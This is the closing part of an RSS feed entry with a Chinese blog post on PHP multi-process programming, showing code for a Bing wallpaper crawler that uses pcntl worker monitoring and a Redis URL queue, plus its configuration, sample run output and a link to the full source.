</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="k">empty</span><span class="p">(</span><span class="nv">$url</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">log</span><span class="p">(</span><span class="s1">&#39;空闲时间: %s/%ss&#39;</span><span class="p">,</span> <span class="nx">self</span><span class="o">::</span><span class="nv">$freeTime</span><span class="o">++</span><span class="p">,</span> <span class="nx">self</span><span class="o">::</span><span class="nv">$options</span><span class="p">[</span><span class="s1">&#39;max_free_time&#39;</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">                <span class="nx">\sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">continue</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="k">try</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nv">$result</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">saveWallpaper</span><span class="p">(</span><span class="nv">$url</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="nv">$result</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                    <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">redisClient</span><span class="o">-&gt;</span><span class="na">sadd</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="nv">$options</span><span class="p">[</span><span class="s1">&#39;queue_key&#39;</span><span class="p">],</span> <span class="p">[</span><span class="nv">$url</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">                <span class="p">}</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span> <span class="k">catch</span> <span class="p">(</span><span class="nx">\Exception</span> <span class="nv">$e</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nv">$result</span> <span class="o">=</span> <span class="k">false</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">                <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">log</span><span class="p">(</span><span class="s1">&#39;保存壁纸异常: %s&#39;</span><span class="p">,</span> <span class="nv">$e</span><span class="o">-&gt;</span><span class="na">getMessage</span><span class="p">());</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">log</span><span class="p">(</span><span class="s1">&#39;壁纸下载%s, %s&#39;</span><span class="p">,</span> <span class="nv">$result</span> <span class="o">?</span> <span class="s1">&#39;成功&#39;</span> <span class="o">:</span> <span class="s1">&#39;失败&#39;</span><span class="p">,</span> <span class="nv">$url</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span></code></pre></div><h3 id="监听子进程状态">监听子进程状态</h3>
<p>进程到目前已经创建完了，接下来就是父进程对子进程状态进行监听，如果该已经已退出就将它从 <code>self::workers</code> 数组中删除，如果没有在运行中的子进程则退出父进程。</p>
<p>在 <code>acceptSignal()</code> 方法中通过 <code>pcntl_wait()</code> 函数阻塞获取退出的进程 ID。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="cl">    <span class="k">protected</span> <span class="k">function</span> <span class="nf">monitor</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">while</span> <span class="p">(</span><span class="k">true</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="nv">$pid</span> <span class="o">=</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">acceptSignal</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">            <span class="k">if</span> <span class="p">(</span><span class="nv">$pid</span> <span class="o">&gt;</span> <span class="mi">0</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">log</span><span class="p">(</span><span class="s1">&#39;子进程退出信号, PID: %s&#39;</span><span class="p">,</span> <span class="nv">$pid</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="c1">// 翻转 workers 的键值
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>                <span class="nv">$workers</span> <span class="o">=</span> <span class="nx">\array_flip</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="nv">$workers</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="nv">$workerId</span> <span class="o">=</span> <span class="nv">$workers</span><span class="p">[</span><span class="nv">$pid</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">                <span class="c1">// 删除子进程
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>                <span class="nx">unset</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="nv">$workers</span><span class="p">[</span><span class="nv">$workerId</span><span class="p">]);</span>
</span></span><span class="line"><span class="cl">                <span class="c1">// 如果没有在运行的子进程则退出主进程
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>                <span class="nx">count</span><span class="p">(</span><span class="nx">self</span><span class="o">::</span><span class="nv">$workers</span><span class="p">)</span> <span class="o">===</span> <span class="mi">0</span> <span class="o">&amp;&amp;</span> <span class="k">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">                <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">log</span><span class="p">(</span><span class="s1">&#39;其它信号, PID: %s&#39;</span><span class="p">,</span> <span class="nv">$pid</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">                <span class="k">exit</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">            <span class="p">}</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">protected</span> <span class="k">function</span> <span class="nf">acceptSignal</span><span class="p">()</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="p">(</span><span class="nx">\version_compare</span><span class="p">(</span><span class="k">PHP_VERSION</span><span class="p">,</span> <span class="mf">7.1</span><span class="p">,</span> <span class="s1">&#39;&gt;=&#39;</span><span class="p">))</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">            <span class="k">return</span> <span class="nx">\pcntl_wait</span><span class="p">(</span><span class="nv">$status</span><span class="p">,</span> <span class="nx">WUNTRACED</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="c1">// 调用等待信号的处理器
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>        <span class="nx">\pcntl_signal_dispatch</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">        <span class="nv">$pid</span> <span class="o">=</span> <span class="nx">\pcntl_wait</span><span class="p">(</span><span class="nv">$status</span><span class="p">,</span> <span class="nx">WUNTRACED</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">        <span class="nx">\pcntl_signal_dispatch</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="nv">$pid</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span></code></pre></div><h2 id="使用">使用</h2>
<p><code>$options</code> 为构造函数的可选参数，以下为配置项的默认参数。</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-gdscript3" data-lang="gdscript3"><span class="line"><span class="cl"><span class="o">$</span><span class="n">options</span> <span class="o">=</span> <span class="p">[</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;daemonize&#39;</span>     <span class="o">=&gt;</span> <span class="bp">false</span><span class="p">,</span>   <span class="o">//</span> <span class="err">是否</span> <span class="n">daemon</span> <span class="err">化</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;worker_num&#39;</span>    <span class="o">=&gt;</span> <span class="mi">3</span><span class="p">,</span>       <span class="o">//</span> <span class="err">下载壁纸进程数量</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;max_free_time&#39;</span> <span class="o">=&gt;</span> <span class="mi">60</span><span class="p">,</span>      <span class="o">//</span> <span class="err">最大空闲时间（秒）</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;save_dir&#39;</span>      <span class="o">=&gt;</span> <span class="n">__DIR__</span><span class="o">.</span><span class="s1">&#39;/wallpaper&#39;</span><span class="p">,</span>    <span class="o">//</span> <span class="err">壁纸保存位置</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;queue_key&#39;</span>     <span class="o">=&gt;</span> <span class="s1">&#39;wallpaper_url_queue&#39;</span><span class="p">,</span>   <span class="o">//</span> <span class="err">壁纸下载地址的</span> <span class="n">redis</span> <span class="n">key</span>
</span></span><span class="line"><span class="cl">    <span class="s1">&#39;redis&#39;</span> <span class="o">=&gt;</span> <span class="p">[</span>                                <span class="o">//</span> <span class="n">redis</span> <span class="err">配置</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;scheme&#39;</span> <span class="o">=&gt;</span> <span class="s1">&#39;tcp&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;host&#39;</span>   <span class="o">=&gt;</span> <span class="s1">&#39;127.0.0.1&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">        <span class="s1">&#39;port&#39;</span>   <span class="o">=&gt;</span> <span class="mi">6379</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">    <span class="p">],</span>
</span></span><span class="line"><span class="cl"><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">$</span><span class="n">wallpaper</span> <span class="o">=</span> <span class="n">new</span> <span class="n">BingWallpaperDownloader</span><span class="p">(</span><span class="o">$</span><span class="n">options</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="o">$</span><span class="n">wallpaper</span><span class="o">-&gt;</span><span class="n">run</span><span class="p">();</span>
</span></span></code></pre></div><h2 id="运行效果">运行效果</h2>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">vagrant@homestead:~/code/her-cat/download_bing_wallpaper$ php index.php
</span></span><span class="line"><span class="cl"><span class="o">[</span>2020-02-02 10:41:34<span class="o">]</span> <span class="o">[</span>worker-1<span class="o">]</span> 提取壁纸地址进程启动...
</span></span><span class="line"><span class="cl"><span class="o">[</span>2020-02-02 10:41:34<span class="o">]</span> <span class="o">[</span>worker-3<span class="o">]</span> 下载壁纸进程启动...
</span></span><span class="line"><span class="cl"><span class="o">[</span>2020-02-02 10:41:34<span class="o">]</span> <span class="o">[</span>worker-2<span class="o">]</span> 下载壁纸进程启动...
</span></span><span class="line"><span class="cl"><span class="o">[</span>2020-02-02 10:41:34<span class="o">]</span> <span class="o">[</span>worker-4<span class="o">]</span> 下载壁纸进程启动...
</span></span><span class="line"><span class="cl"><span class="o">[</span>2020-02-02 10:41:35<span class="o">]</span> <span class="o">[</span>worker-1<span class="o">]</span> 提取壁纸数量: 12, 当前页面: <span class="m">1</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>2020-02-02 10:41:35<span class="o">]</span> <span class="o">[</span>worker-2<span class="o">]</span> 壁纸下载成功, http://h1.ioliu.cn/bing/NutcrackerSeason_EN-AU8373379424_1920x1080.jpg
</span></span><span class="line"><span class="cl"><span class="o">[</span>2020-02-02 10:41:35<span class="o">]</span> <span class="o">[</span>worker-3<span class="o">]</span> 壁纸下载成功, http://h1.ioliu.cn/bing/zhenghe_ZH-CN9628081460_1920x1080.jpg
</span></span><span class="line"><span class="cl"><span class="o">[</span>2020-02-02 10:41:36<span class="o">]</span> <span class="o">[</span>worker-4<span class="o">]</span> 壁纸下载成功, http://h1.ioliu.cn/bing/MonumentFountain_EN-AU10536043652_1920x1080.jpg
</span></span><span class="line"><span class="cl"><span class="o">[</span>2020-02-02 10:41:37<span class="o">]</span> <span class="o">[</span>worker-2<span class="o">]</span> 壁纸下载成功, http://h1.ioliu.cn/bing/JeanLafitte_EN-AU11428973003_1920x1080.jpg
</span></span><span class="line"><span class="cl"><span class="o">[</span>2020-02-02 10:41:37<span class="o">]</span> <span class="o">[</span>worker-1<span class="o">]</span> 提取壁纸数量: 12, 当前页面: <span class="m">2</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>2020-02-02 10:41:37<span class="o">]</span> <span class="o">[</span>worker-3<span class="o">]</span> 壁纸下载成功, http://h1.ioliu.cn/bing/MorondavaBaobab_EN-AU11363642614_1920x1080.jpg
</span></span><span class="line"><span class="cl"><span class="o">[</span>2020-02-02 10:41:37<span class="o">]</span> <span class="o">[</span>worker-3<span class="o">]</span> 壁纸下载成功, http://h1.ioliu.cn/bing/SnowHare_ZH-CN9767012872_1920x1080.jpg
</span></span><span class="line"><span class="cl"><span class="o">[</span>2020-02-02 10:41:38<span class="o">]</span> <span class="o">[</span>worker-4<span class="o">]</span> 壁纸下载成功, http://h1.ioliu.cn/bing/ShenandoahAutumn_EN-AU11784755049_1920x1080.jpg
</span></span><span class="line"><span class="cl">^C<span class="o">[</span>2020-02-02 10:41:38<span class="o">]</span> <span class="o">[</span>worker-0<span class="o">]</span> 其它信号, PID: -1
</span></span></code></pre></div><p>保存的壁纸</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">vagrant@homestead:~/code/her-cat/download_bing_wallpaper/wallpaper$ ls
</span></span><span class="line"><span class="cl">AbstractSaltBeds_ZH-CN8351691359_1920x1080.jpg         MauiEucalyptus_ZH-CN5616197787_1920x1080.jpg
</span></span><span class="line"><span class="cl">AcadiaBlueberries_ZH-CN6014510748_1920x1080.jpg        may1_ZH-CN8582006115_1920x1080.jpg
</span></span><span class="line"><span class="cl">AdelieBreeding_ZH-CN1750945258_1920x1080.jpg           MeerkatHuddle_ZH-CN1358126294_1920x1080.jpg
</span></span><span class="line"><span class="cl">AdobeSantaFe_EN-AU3063917358_1920x1080.jpg             MeerkatMob_ZH-CN3788674757_1920x1080.jpg
</span></span><span class="line"><span class="cl">AerialKluaneNP_ZH-CN4080112842_1920x1080.jpg           MeteorCrater_EN-AU9993563603_1920x1080.jpg
</span></span></code></pre></div><h2 id="最后">最后</h2>
<p>完整代码：<a href="https://github.com/her-cat/wallpaper_crawler/blob/master/BingWallpaperDownloader.php">https://github.com/her-cat/wallpaper_crawler/blob/master/BingWallpaperDownloader.php</a></p>
<p>关于 PHP 多进程的实践到这里就结束了，目前来看代码好像没啥太问题，后面有问题再来改吧。</p>
<p>溜了&hellip;</p>
]]></content:encoded>
    </item><follow_challenge>
      <feedId>58021783493571598</feedId>
      <userId>56882619875632128</userId>
    </follow_challenge>
  </channel>
</rss>
